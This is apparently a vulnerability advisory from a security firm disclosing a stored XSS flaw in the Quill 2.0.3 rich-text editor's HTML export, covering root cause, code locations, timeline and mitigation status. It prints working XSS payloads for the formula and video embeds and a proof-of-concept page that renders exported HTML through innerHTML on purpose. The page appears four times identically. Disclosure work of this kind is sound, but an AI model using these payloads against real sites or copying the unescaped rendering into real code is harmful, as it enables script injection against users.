
Quill 2.0.3 - Lack of data validation in HTML export allowing XSS
5.1
Medium
5.1
Medium
Discovered by
Offensive Team, Fluid Attacks
Summary
Full name
Quill 2.0.3 - Lack of data validation in HTML export using formula or video formats allowing XSS
Code name
State
Public
Release date
Jan 13, 2026
Affected product
Quill
Vendor
Slab
Affected version(s)
2.0.3
Package manager
npm
Vulnerability name
Lack of data validation - Special Characters
Vulnerability type
Remotely exploitable
Yes
CVSS v4.0 vector string
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N
CVSS v4.0 base score
5.1
Exploit available
No
CVE ID(s)
Description
Quill 2.0.3 contains a lack of data validation vulnerability in the HTML export feature. The formula and video embeds return HTML strings via html() without escaping user-controlled values. When applications use getSemanticHTML() (or getHTML()) and render the output as HTML, an attacker can inject arbitrary attributes or markup, leading to script execution in the victim’s browser. This affects common “export HTML → store → render” workflows and requires sanitization or escaping of embed values.
Vulnerability
Root cause: embed blots interpolate user-controlled values directly into HTML strings returned by html() without escaping or sanitization.
Code Location:
Vulnerable export path: packages/quill/src/core/editor.ts — convertHTML() uses blot-provided HTML if html() exists.
Vulnerable blots:
packages/quill/src/formats/formula.ts — html() returns <span>${formula}</span> (unescaped).
packages/quill/src/formats/video.ts — html() returns <a href="${video}">${video}</a> (unescaped).
The formula and video values are controlled by user input. Because html() returns a string built by simple string interpolation, a value containing quotes or closing tags (e.g., </span><img src=x onerror=alert(1)>) will produce output that breaks the expected markup and injects an element with an event handler or other malicious attributes.
PoC
Host the following html in a web server.
<!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>Quill Forum Comments PoC</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/quill@2.0.3/dist/quill.snow.css" /> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.css" /> <style> body { font-family: Arial, sans-serif; margin: 24px; background: #f7f7f9; } .container { max-width: 900px; margin: 0 auto; } .card { background: #fff; border: 1px solid #ddd; border-radius: 8px; padding: 16px; margin-bottom: 16px; } #editor { height: 160px; } .actions { display: flex; gap: 8px; margin-top: 12px; } .comment { border-top: 1px solid #eee; padding: 12px 0; } .comment:first-child { border-top: none; } .meta { font-size: 12px; color: #666; margin-bottom: 6px; } .hint { color: #444; } code { background: #f1f1f1; padding: 2px 4px; } </style> </head> <body> <div class="container"> <h1>Forum Comments (Quill PoC)</h1> <p class="hint"> Normal user flow: write a comment, click Post. The app stores HTML and renders it. Try these: </p> <p class="hint"> Formula: <code></span><img src=x onerror=alert(1)></code> Video: <code>https://example.com" onmouseover="alert(1)</code> </p> <div class="card"> <div id="toolbar"> <span class="ql-formats"> <select class="ql-font"></select> <select class="ql-size"></select> </span> <span class="ql-formats"> <button class="ql-bold"></button> <button class="ql-italic"></button> <button class="ql-underline"></button> <button class="ql-strike"></button> </span> <span class="ql-formats"> <select class="ql-color"></select> <select class="ql-background"></select> </span> <span class="ql-formats"> <button class="ql-script" value="sub"></button> <button class="ql-script" value="super"></button> </span> <span class="ql-formats"> <button class="ql-header" value="1"></button> <button class="ql-header" value="2"></button> <button class="ql-blockquote"></button> <button class="ql-code-block"></button> </span> <span class="ql-formats"> <button class="ql-list" value="ordered"></button> <button class="ql-list" value="bullet"></button> <button class="ql-indent" value="-1"></button> <button class="ql-indent" value="+1"></button> </span> <span class="ql-formats"> <select class="ql-align"></select> </span> <span class="ql-formats"> <button class="ql-link"></button> <button class="ql-image"></button> <button class="ql-video"></button> <button class="ql-formula"></button> </span> <span class="ql-formats"> <button class="ql-clean"></button> </span> </div> <div id="editor"></div> <div class="actions"> <button id="post">Post Comment</button> <button id="clear">Clear</button> </div> </div> <div class="card"> <h2>Comments</h2> <div id="comments"></div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/quill@2.0.3/dist/quill.js"></script> <script> const quill = new Quill('#editor', { theme: 'snow', modules: { toolbar: '#toolbar' }, }); const comments = []; const renderComments = () => { const container = document.getElementById('comments'); container.innerHTML = ''; comments.forEach((comment, index) => { const wrapper = document.createElement('div'); wrapper.className = 'comment'; const meta = document.createElement('div'); meta.className = 'meta'; meta.textContent = `User #${comment.user} · ${comment.time}`; const body = document.createElement('div'); // Vulnerable render for PoC: rendering exported HTML directly body.innerHTML = comment.html; wrapper.appendChild(meta); wrapper.appendChild(body); container.appendChild(wrapper); }); }; document.getElementById('post').addEventListener('click', () => { const html = quill.getSemanticHTML(); comments.unshift({ user: Math.floor(Math.random() * 1000), time: new Date().toLocaleString(), html, }); renderComments(); quill.setContents([]); }); document.getElementById('clear').addEventListener('click', () => { quill.setContents([]); }); </script> </body> </html>
<!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>Quill Forum Comments PoC</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/quill@2.0.3/dist/quill.snow.css" /> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.css" /> <style> body { font-family: Arial, sans-serif; margin: 24px; background: #f7f7f9; } .container { max-width: 900px; margin: 0 auto; } .card { background: #fff; border: 1px solid #ddd; border-radius: 8px; padding: 16px; margin-bottom: 16px; } #editor { height: 160px; } .actions { display: flex; gap: 8px; margin-top: 12px; } .comment { border-top: 1px solid #eee; padding: 12px 0; } .comment:first-child { border-top: none; } .meta { font-size: 12px; color: #666; margin-bottom: 6px; } .hint { color: #444; } code { background: #f1f1f1; padding: 2px 4px; } </style> </head> <body> <div class="container"> <h1>Forum Comments (Quill PoC)</h1> <p class="hint"> Normal user flow: write a comment, click Post. The app stores HTML and renders it. Try these: </p> <p class="hint"> Formula: <code></span><img src=x onerror=alert(1)></code> Video: <code>https://example.com" onmouseover="alert(1)</code> </p> <div class="card"> <div id="toolbar"> <span class="ql-formats"> <select class="ql-font"></select> <select class="ql-size"></select> </span> <span class="ql-formats"> <button class="ql-bold"></button> <button class="ql-italic"></button> <button class="ql-underline"></button> <button class="ql-strike"></button> </span> <span class="ql-formats"> <select class="ql-color"></select> <select class="ql-background"></select> </span> <span class="ql-formats"> <button class="ql-script" value="sub"></button> <button class="ql-script" value="super"></button> </span> <span class="ql-formats"> <button class="ql-header" value="1"></button> <button class="ql-header" value="2"></button> <button class="ql-blockquote"></button> <button class="ql-code-block"></button> </span> <span class="ql-formats"> <button class="ql-list" value="ordered"></button> <button class="ql-list" value="bullet"></button> <button class="ql-indent" value="-1"></button> <button class="ql-indent" value="+1"></button> </span> <span class="ql-formats"> <select class="ql-align"></select> </span> <span class="ql-formats"> <button class="ql-link"></button> <button class="ql-image"></button> <button class="ql-video"></button> <button class="ql-formula"></button> </span> <span class="ql-formats"> <button class="ql-clean"></button> </span> </div> <div id="editor"></div> <div class="actions"> <button id="post">Post Comment</button> <button id="clear">Clear</button> </div> </div> <div class="card"> <h2>Comments</h2> <div id="comments"></div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/quill@2.0.3/dist/quill.js"></script> <script> const quill = new Quill('#editor', { theme: 'snow', modules: { toolbar: '#toolbar' }, }); const comments = []; const renderComments = () => { const container = document.getElementById('comments'); container.innerHTML = ''; comments.forEach((comment, index) => { const wrapper = document.createElement('div'); wrapper.className = 'comment'; const meta = document.createElement('div'); meta.className = 'meta'; meta.textContent = `User #${comment.user} · ${comment.time}`; const body = document.createElement('div'); // Vulnerable render for PoC: rendering exported HTML directly body.innerHTML = comment.html; wrapper.appendChild(meta); wrapper.appendChild(body); container.appendChild(wrapper); }); }; document.getElementById('post').addEventListener('click', () => { const html = quill.getSemanticHTML(); comments.unshift({ user: Math.floor(Math.random() * 1000), time: new Date().toLocaleString(), html, }); renderComments(); quill.setContents([]); }); document.getElementById('clear').addEventListener('click', () => { quill.setContents([]); }); </script> </body> </html>
<!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>Quill Forum Comments PoC</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/quill@2.0.3/dist/quill.snow.css" /> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.css" /> <style> body { font-family: Arial, sans-serif; margin: 24px; background: #f7f7f9; } .container { max-width: 900px; margin: 0 auto; } .card { background: #fff; border: 1px solid #ddd; border-radius: 8px; padding: 16px; margin-bottom: 16px; } #editor { height: 160px; } .actions { display: flex; gap: 8px; margin-top: 12px; } .comment { border-top: 1px solid #eee; padding: 12px 0; } .comment:first-child { border-top: none; } .meta { font-size: 12px; color: #666; margin-bottom: 6px; } .hint { color: #444; } code { background: #f1f1f1; padding: 2px 4px; } </style> </head> <body> <div class="container"> <h1>Forum Comments (Quill PoC)</h1> <p class="hint"> Normal user flow: write a comment, click Post. The app stores HTML and renders it. Try these: </p> <p class="hint"> Formula: <code></span><img src=x onerror=alert(1)></code> Video: <code>https://example.com" onmouseover="alert(1)</code> </p> <div class="card"> <div id="toolbar"> <span class="ql-formats"> <select class="ql-font"></select> <select class="ql-size"></select> </span> <span class="ql-formats"> <button class="ql-bold"></button> <button class="ql-italic"></button> <button class="ql-underline"></button> <button class="ql-strike"></button> </span> <span class="ql-formats"> <select class="ql-color"></select> <select class="ql-background"></select> </span> <span class="ql-formats"> <button class="ql-script" value="sub"></button> <button class="ql-script" value="super"></button> </span> <span class="ql-formats"> <button class="ql-header" value="1"></button> <button class="ql-header" value="2"></button> <button class="ql-blockquote"></button> <button class="ql-code-block"></button> </span> <span class="ql-formats"> <button class="ql-list" value="ordered"></button> <button class="ql-list" value="bullet"></button> <button class="ql-indent" value="-1"></button> <button class="ql-indent" value="+1"></button> </span> <span class="ql-formats"> <select class="ql-align"></select> </span> <span class="ql-formats"> <button class="ql-link"></button> <button class="ql-image"></button> <button class="ql-video"></button> <button class="ql-formula"></button> </span> <span class="ql-formats"> <button class="ql-clean"></button> </span> </div> <div id="editor"></div> <div class="actions"> <button id="post">Post Comment</button> <button id="clear">Clear</button> </div> </div> <div class="card"> <h2>Comments</h2> <div id="comments"></div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/quill@2.0.3/dist/quill.js"></script> <script> const quill = new Quill('#editor', { theme: 'snow', modules: { toolbar: '#toolbar' }, }); const comments = []; const renderComments = () => { const container = document.getElementById('comments'); container.innerHTML = ''; comments.forEach((comment, index) => { const wrapper = document.createElement('div'); wrapper.className = 'comment'; const meta = document.createElement('div'); meta.className = 'meta'; meta.textContent = `User #${comment.user} · ${comment.time}`; const body = document.createElement('div'); // Vulnerable render for PoC: rendering exported HTML directly body.innerHTML = comment.html; wrapper.appendChild(meta); wrapper.appendChild(body); container.appendChild(wrapper); }); }; document.getElementById('post').addEventListener('click', () => { const html = quill.getSemanticHTML(); comments.unshift({ user: Math.floor(Math.random() * 1000), time: new Date().toLocaleString(), html, }); renderComments(); quill.setContents([]); }); document.getElementById('clear').addEventListener('click', () => { quill.setContents([]); }); </script> </body> </html>
<!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>Quill Forum Comments PoC</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/quill@2.0.3/dist/quill.snow.css" /> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.css" /> <style> body { font-family: Arial, sans-serif; margin: 24px; background: #f7f7f9; } .container { max-width: 900px; margin: 0 auto; } .card { background: #fff; border: 1px solid #ddd; border-radius: 8px; padding: 16px; margin-bottom: 16px; } #editor { height: 160px; } .actions { display: flex; gap: 8px; margin-top: 12px; } .comment { border-top: 1px solid #eee; padding: 12px 0; } .comment:first-child { border-top: none; } .meta { font-size: 12px; color: #666; margin-bottom: 6px; } .hint { color: #444; } code { background: #f1f1f1; padding: 2px 4px; } </style> </head> <body> <div class="container"> <h1>Forum Comments (Quill PoC)</h1> <p class="hint"> Normal user flow: write a comment, click Post. The app stores HTML and renders it. Try these: </p> <p class="hint"> Formula: <code></span><img src=x onerror=alert(1)></code> Video: <code>https://example.com" onmouseover="alert(1)</code> </p> <div class="card"> <div id="toolbar"> <span class="ql-formats"> <select class="ql-font"></select> <select class="ql-size"></select> </span> <span class="ql-formats"> <button class="ql-bold"></button> <button class="ql-italic"></button> <button class="ql-underline"></button> <button class="ql-strike"></button> </span> <span class="ql-formats"> <select class="ql-color"></select> <select class="ql-background"></select> </span> <span class="ql-formats"> <button class="ql-script" value="sub"></button> <button class="ql-script" value="super"></button> </span> <span class="ql-formats"> <button class="ql-header" value="1"></button> <button class="ql-header" value="2"></button> <button class="ql-blockquote"></button> <button class="ql-code-block"></button> </span> <span class="ql-formats"> <button class="ql-list" value="ordered"></button> <button class="ql-list" value="bullet"></button> <button class="ql-indent" value="-1"></button> <button class="ql-indent" value="+1"></button> </span> <span class="ql-formats"> <select class="ql-align"></select> </span> <span class="ql-formats"> <button class="ql-link"></button> <button class="ql-image"></button> <button class="ql-video"></button> <button class="ql-formula"></button> </span> <span class="ql-formats"> <button class="ql-clean"></button> </span> </div> <div id="editor"></div> <div class="actions"> <button id="post">Post Comment</button> <button id="clear">Clear</button> </div> </div> <div class="card"> <h2>Comments</h2> <div id="comments"></div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/quill@2.0.3/dist/quill.js"></script> <script> const quill = new Quill('#editor', { theme: 'snow', modules: { toolbar: '#toolbar' }, }); const comments = []; const renderComments = () => { const container = document.getElementById('comments'); container.innerHTML = ''; comments.forEach((comment, index) => { const wrapper = document.createElement('div'); wrapper.className = 'comment'; const meta = document.createElement('div'); meta.className = 'meta'; meta.textContent = `User #${comment.user} · ${comment.time}`; const body = document.createElement('div'); // Vulnerable render for PoC: rendering exported HTML directly body.innerHTML = comment.html; wrapper.appendChild(meta); wrapper.appendChild(body); container.appendChild(wrapper); }); }; document.getElementById('post').addEventListener('click', () => { const html = quill.getSemanticHTML(); comments.unshift({ user: Math.floor(Math.random() * 1000), time: new Date().toLocaleString(), html, }); renderComments(); quill.setContents([]); }); document.getElementById('clear').addEventListener('click', () => { quill.setContents([]); }); </script> </body> </html>
Evidence of Exploitation





Our security policy
We have reserved the ID CVE-2025-15056 to refer to this issue from now on.
System Information
quill
Version 2.0.3
Operating System: Any
References
Github Repository: https://github.com/slab/quill
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.
Timeline
Dec 19, 2025
Vulnerability discovered
Dec 23, 2025
Vendor contacted
Jan 13, 2026
Public disclosure
Does your application use this vulnerable software?
During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.





